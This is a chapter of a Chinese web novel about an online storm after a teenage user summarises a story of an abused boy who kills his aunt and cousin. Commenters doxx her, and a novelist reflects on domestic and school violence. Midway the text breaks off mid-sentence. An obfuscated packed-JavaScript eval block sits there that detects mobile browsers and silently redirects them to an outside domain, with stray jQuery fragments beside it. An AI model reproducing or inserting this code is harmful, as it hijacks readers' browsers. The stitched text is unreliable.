“你们有没有看过那种少年犯的案件?”
这条提问就是挂在呼叫APP问答社区的深夜推荐上,一开始并不起眼。标题普通,配图也只是几个模糊案件的截图,可慢慢地,它爬上了热榜。
底下的答案各式各样,有的耸人听闻,有的理性分析,有的只是猎奇谈资。
“我记得南余市有个案子,一个女孩跟同桌大打出手,失手把人推下楼梯,动机好像只是因为被嘲笑了成绩。”
“孩子怎么能杀人呢?那是因为有人早就在杀他们了。”
“看过一个,十岁男孩因为父母管得太严刀了亲妈,太吓人了。”
“有个案子,是小女孩长期揍弟弟,说弟弟得到了她没得到的爱。”
“以前我们县有一个初中生,拿砖头砸了老师,后来查出来他一直被老师羞辱。”
各种案子层出不穷,评论区也分成了泾渭分明的两派:
一边说:“未成年人再怎么样也不能杀人。”
一边说:“一个孩子怎么可能无缘无故杀人,背后一定有大人该负的责任。”
当舆论还在交锋的时候,一个看似平平无奇的新回答突然火了。它没有标点,没有截图,没有煽情的标题,一个新回答被顶到了首页:
“我写过一个小说,主角是个十二岁的男孩,他杀了姑姑和表弟。男孩出生在南方的一个山沟沟里,从小父母离异,被扔给姑姑抚养。姑姑表面上说得好听,他因为学习好被寄养在姑姑家,姑姑是个控制欲极强的女人,每天对他冷嘲热讽,还逼他背一些根本听不懂的英语单词,做错题就让他跪着,对他从来没有好脸色。
她会逼他吃剩菜剩饭,说‘省一点是一种美德’,会在他睡觉时把他叫起来检查作业,错一题就罚跪在厨房地砖上。
姑父是个西装笔挺的男人,经常加班,但每次回家都要让他洗脚,有几次在他洗脚的时候会摸他的脸,说‘你长得像我小时候最好的朋友’。他不知道这是什么意思。他只知道自己一闭眼,就会梦见那双手。
在学校,他成绩很好,老师夸他‘懂事’,‘自律’,‘比很多城里的孩子还好’,结果那天下午放学,城里的男生就把他的作文本丢进了水池,还被一群城里的同学堵在小卖部后面扇巴掌。
爸爸把他送来姑姑家的时候,在他内裤里封了好几百,他把大部分都给了姑姑,只留下来几元,后来偷偷存了好久的零花钱在文具店买了台盗版游戏机。夜里他玩得太高兴,发出了声音,被姑姑听见。她把游戏机摔了,还说:“你以为你是我儿子啊?玩什么游戏?你就是个寄生虫。”他没有说话。他只是把地上的游戏机一块块捡起来,用袖子包好。第二天夜里,他在厨房拿了把菜刀。
他不记得自己砍了几刀。只记得弟弟哭了一声,说:“哥你疯啦?”
后来警察来的时候,他蹲在地上,抱着弟弟,跟他们说:‘我没想杀他,我只是想被尊重,我想赢一次。’”
这篇小说没有附原文,只是用这种大略形式讲了个完整故事。没有过多修辞,也没有为少年开脱。只是描述。
但就是这样一段文字,评论瞬间爆炸。
“这是你写的?还是你改编的案件?”
“你是不是有病,在替杀人犯说话?”
“这是你写的?你在洗白杀人犯吗?”
“看着太真实了,像是真的案子。”
“你这语气太冷静了,看得我头皮发麻。”
“我不接受你这种美化暴力的写法,你知不知道被害人有多无辜?”
更多人点进了作者主页,发现她的名字叫“十六岁一枝笔”,除了这个小说,只有极少数回答,风格都偏沉重。
一条是:“你童年最害怕的是什么?”
她写道:
“我小时候怕锁门的声音,咔哒一响,就知道要出事了。”
另一条是:“你怎么看校园暴力?”
她写道:
“它和家庭暴力一样无解,因为它们不被当成暴力,不不过校园暴力连一个‘家’的概念都不肯给你。”
也有人提出不同声音:“你们看清楚了吗?她写的是小说,她甚至没为那个孩子辩护,只是在还原。”
但舆论不是逻辑构成的,而是情绪的洪水。
最热评论变成了:“你小时候是不是也想杀人,所以现在才替这种人说话?”
有人扒出她在三个月前,曾分享过一篇短文,描述一个小女孩因为拿了全年级第一名,被人往课桌里倒了牛奶。文末她写了一句:“她洗干净课桌,再也没考过第一。”
这些细节加起来,让网友们产生了不安。
“她是不是有病?”
“她不是真的在写小说,她是在用别人的故事洗自己的创伤。”
“你是不是也想过杀人?是不是你小时候也有这冲动,所以你写这个故事来安慰自己?”
很快,有人翻到了几年前的帖子截图,说这个ID曾发过一句话:
“有时候我觉得,只要我当时握着剪刀,我的人生可能就会变成另一个方向。”
这条评论被顶上了首页,许多留言涌了上来:
“所以你就是那个潜在的杀人犯咯?”
“你别写小说了,你去看病吧。”
“建议警方介入。”
当晚,关于“少年弑亲小说”的话题冲上热搜。不过有一条评论很快被顶了上来,获得大量点赞:
“大家有没有想过,她从头到尾也没为那个男孩开脱?她只是让你看到他为什么会那样。而你们,第一反应不是理解,而是批评她是不是‘共情错了人’。”
这条评论在热搜榜上停留不到十分钟,就被新的负面舆情压了下去。有人自称是她学校的学生,匿名留言:
“她是我们学校的,我们学校有个女生以前就被霸凌过。她写小说那段时间有一次还被叫家长。”
“听说她爸妈离婚了,她小时候住亲戚家,被打得很严重。”
“她就是那个主角,她写自己呢。”
还有人开始人肉她,发了一张她的照片,说:“看看,这就是那个写‘少年杀人’小说的女生。”照片很模糊,女孩坐在学校花坛边,头发挡住了半张脸。评论里有人骂,也有人心疼。整件事到了这里,本来应该止步于一次争议性的创作,却在第二天清晨翻出了新波澜
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15495972|170187||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
一名自称是某重点高中学生的人在贴子下留言:
“我们学校好像有个人和这个ID的说法一模一样,她写了个小说,还给老师看过稿子。”
“她初中时候被霸凌过一次,我同班的朋友记得,那时候她成绩特别好,有人嫉妒她,往她校服里塞垃圾。”
“还有人说她妈妈以前打她打得特别狠,拖把都砸断过,就是最近几年她成绩好了才没有打过。”
这段留言迅速被转发出圈,标题变成了:
“网友自述童年暴力经历写小说洗白少年杀人犯,真实身份或曝光!”
评论区分裂得更彻底了。
有人说:“她根本不是想引起反思,她是在代入。”
也有人说:“是不是有人不愿意看到社会问题被写出来,就非要污蔑作者?”
就在大家争相讨论她的真实身份时,原发帖者突然又出现了。
她没有争辩,也没有解释。
她只留下了一句话:
“我小时候也恨过人,你们担心的事情,我没有,我也不会。”
这一句话,像石子扔进夜色深潭,会被发现吗?其实并一定被看见,没有泼天煽情,没有剧烈反驳。
只是能触碰到谁的心,反而认为比任何一次辩解都更沉重。
评论又开始转向,有人写:“她不是在为男孩洗白,她在问我们为什么从来不追问那些加害者。”
也有人反问:“所以你没杀人,你就想告诉我们你比那个孩子强?”
不过这样的事情,吴倩瑜并没有注意到,她只是为了写一个关于“家庭暴力和校园暴力”的小说开了一个话题去等待别人的留言,她没想到过自己删掉了话题,还有人会新建这个话题。甚至完全没想到青少年其实也在思考这个事情,甚至比她更为重视。
远在海外读书的吴倩瑜暂时把这本小说放下了,她明白自己找不到好的切入点去讲述这个故事,她也不想再把这个事情夸大成更为引起情绪的事情,那不是她的本意。
吴倩瑜同样明白,想用一篇小说去探讨这种悲剧事情里谁错了是很难有结果的。
理性来讲,她必然知道她小说里的赵安东一定是错误的,杀人的动作本来就是一个错误的结果,所以她让赵安东成为一个精神疾病患者永远在精神院里,她确实认为赵安东是错的。
但吴倩瑜也知道悲剧的发生都是有原因的,比起想论调谁是错的,她希望能用一个小说让读者重视起来关于“家庭暴力和校园暴力”的事情。
她期待着:
欺负人的忍忍自己要欺负人的心。
被欺负的人忍忍自己想要过激行为的心。
但是这可能吗?
人本来就是在遭受危机时会用一切手段保护自己的生物。
比起吴倩瑜小说可能带来的舆论,这条‘十六岁一枝笔’的发言,明显带来的舆论更为强烈。
不过,‘十六岁一枝笔’没有再回。
只是消息总会传到了她的学校、她的母亲那里。
甚至传到了曾经那个她不愿回忆的房间。
可那些更难听的话,才刚刚开始。